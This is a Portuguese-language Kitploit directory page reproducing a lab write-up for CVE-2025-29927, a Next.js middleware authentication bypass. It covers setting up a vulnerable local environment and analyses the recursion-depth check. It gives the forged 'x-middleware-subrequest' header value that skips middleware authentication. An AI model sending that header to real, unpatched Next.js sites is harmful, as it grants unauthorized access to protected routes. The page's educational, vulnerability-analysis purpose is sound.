Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-29927 — Next.js Middleware Bypass de Autenticação | Kitploit
Ferramentas/GitHubGitHub/oyst3r1ng/cve-2025-29927
Autenticação e AutorizaçãoAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHuboyst3r1ng/cve-2025-29927

CVE-2025-29927

Next.js Middleware Bypass de Autenticação

Ver Repositório
22há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Introdução

Ao forjar o cabeçalho de requisição x-middleware-subrequest, é possível contornar o mecanismo de autenticação de middleware do Next.js, permitindo acesso não autorizado a rotas protegidas.

Configuração do ambiente

O código-fonte do projeto é do P神; a versão do Next.js é 15.2.2 (Para Next.js 15.x, este problema foi corrigido na versão 15.2.3).

Ambiente de vulnerabilidade

Certifique-se de que Node e npm estejam instalados. Verifique as versões com os seguintes comandos:

root@kitploit:~
node -v
npm -v

Instale as dependências e inicie o projeto

root@kitploit:~
# 1. 进入项目目录
cd vulenv

# 2. 全局安装 Yarn(如果尚未安装)
npm install -g yarn

# 3. 安装项目依赖
yarn install

# 4. 启动开发服务器
npm run dev

Ou, tudo de uma vez:

root@kitploit:~
cd vulenv && npm install -g yarn && yarn install && npm run dev

Sucesso conforme abaixo:

alt text

alt text

Ambiente de depuração

Configure a depuração do VSCode da seguinte forma:

root@kitploit:~
{
    "version": "0.2.0",
    "configurations": [
      {
        "name": "Next.js: debug server-side",
        "type": "node-terminal",
        "request": "launch",
        "command": "npm run dev"
      },
      {
        "name": "Next.js: debug client-side",
        "type": "chrome",
        "request": "launch",
        "url": "http://localhost:3000"
      },
      {
        "name": "Next.js: debug full stack",
        "type": "node-terminal",
        "request": "launch",
        "command": "npm run dev",
        "serverReadyAction": {
          "pattern": "- Local:.+(https?://.+)",
          "uriFormat": "%s",
          "action": "debugWithChrome"
        }
      }
    ]
  }

Análise

  1. O ponto de acionamento da vulnerabilidade é o seguinte
root@kitploit:~
const run = withTaggedErrors(async function runWithTaggedErrors(params) {
    var _params_request_body;
    const runtime = await getRuntimeContext(params);
    const subreq = params.request.headers[`x-middleware-subrequest`];
    const subrequests = typeof subreq === 'string' ? subreq.split(':') : [];
    const MAX_RECURSION_DEPTH = 5;
    const depth = subrequests.reduce((acc, curr)=>curr === params.name ? acc + 1 : acc, 0);
    if (depth >= MAX_RECURSION_DEPTH) {
        return {
            waitUntil: Promise.resolve(),
            response: new runtime.context.Response(null, {
                headers: {
                    'x-middleware-next': '1'
                }
            })
        };
    }
    ......

Uma função de middleware cujo objetivo é detectar a profundidade de chamadas recursivas, evitando loops infinitos. Seu mecanismo depende do cabeçalho de requisição x-middleware-subrequest, que é dividido pelo caractere : em vários nomes de sub-requisições, contando quantas vezes o nome coincide com o do middleware atual (params.name), ou seja, o nível de recursão. Quando o nível de recursão atinge ou excede o limite definido (padrão MAX_RECURSION_DEPTH = 5), o middleware pula a lógica principal — como a verificação de identidade — e dá continuidade ao fluxo de processamento da requisição.

Dica: para evitar chamadas recursivas infinitas, o funcionamento é basicamente o seguinte:

root@kitploit:~
用户访问 /dashboard
↓
middleware 拦截,请求 /api/auth
↓
/api/auth 再次触发 middleware
↓
middleware 又请求 /api/auth
↓
...
死循环!🌀
  1. A ideia de exploração é a seguinte

O nome do middleware é middleware, e podemos construir o seguinte cabeçalho de requisição:

root@kitploit:~
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

A construção acima faz com que depth seja igual a 5, acionando diretamente:

root@kitploit:~
if (depth >= MAX_RECURSION_DEPTH)

Se a aplicação colocar a lógica de verificação de identidade no middleware, isso faz com que o middleware saia da lógica de autenticação e retorne:

root@kitploit:~
x-middleware-next: 1

Fazendo a requisição continuar para o backend, obtendo recursos protegidos sem autenticação.

  1. Exploração

Coloque um ponto de interrupção na posição da figura abaixo (caminho completo: CVE-2025-29927/vulenv/node_modules/next/dist/server/web/sandbox/sandbox.js) e inicie a depuração.

alt text

Envie o Payload

alt text

O ponto de interrupção é atingido na figura abaixo; podemos ver que o valor de depth é 5 nesse momento.

alt text

Continue a execução para obter o recurso protegido.

alt text

PoC

Escrito com base no Pocsuite3; detalhes em Poc_CVE-2025-29927.py.

alt text

Referência

Next.js and the corrupt middleware: the authorizing artifact

Next.js Middleware Authorization Bypass (CVE-2025-29927)

Baixar ferramenta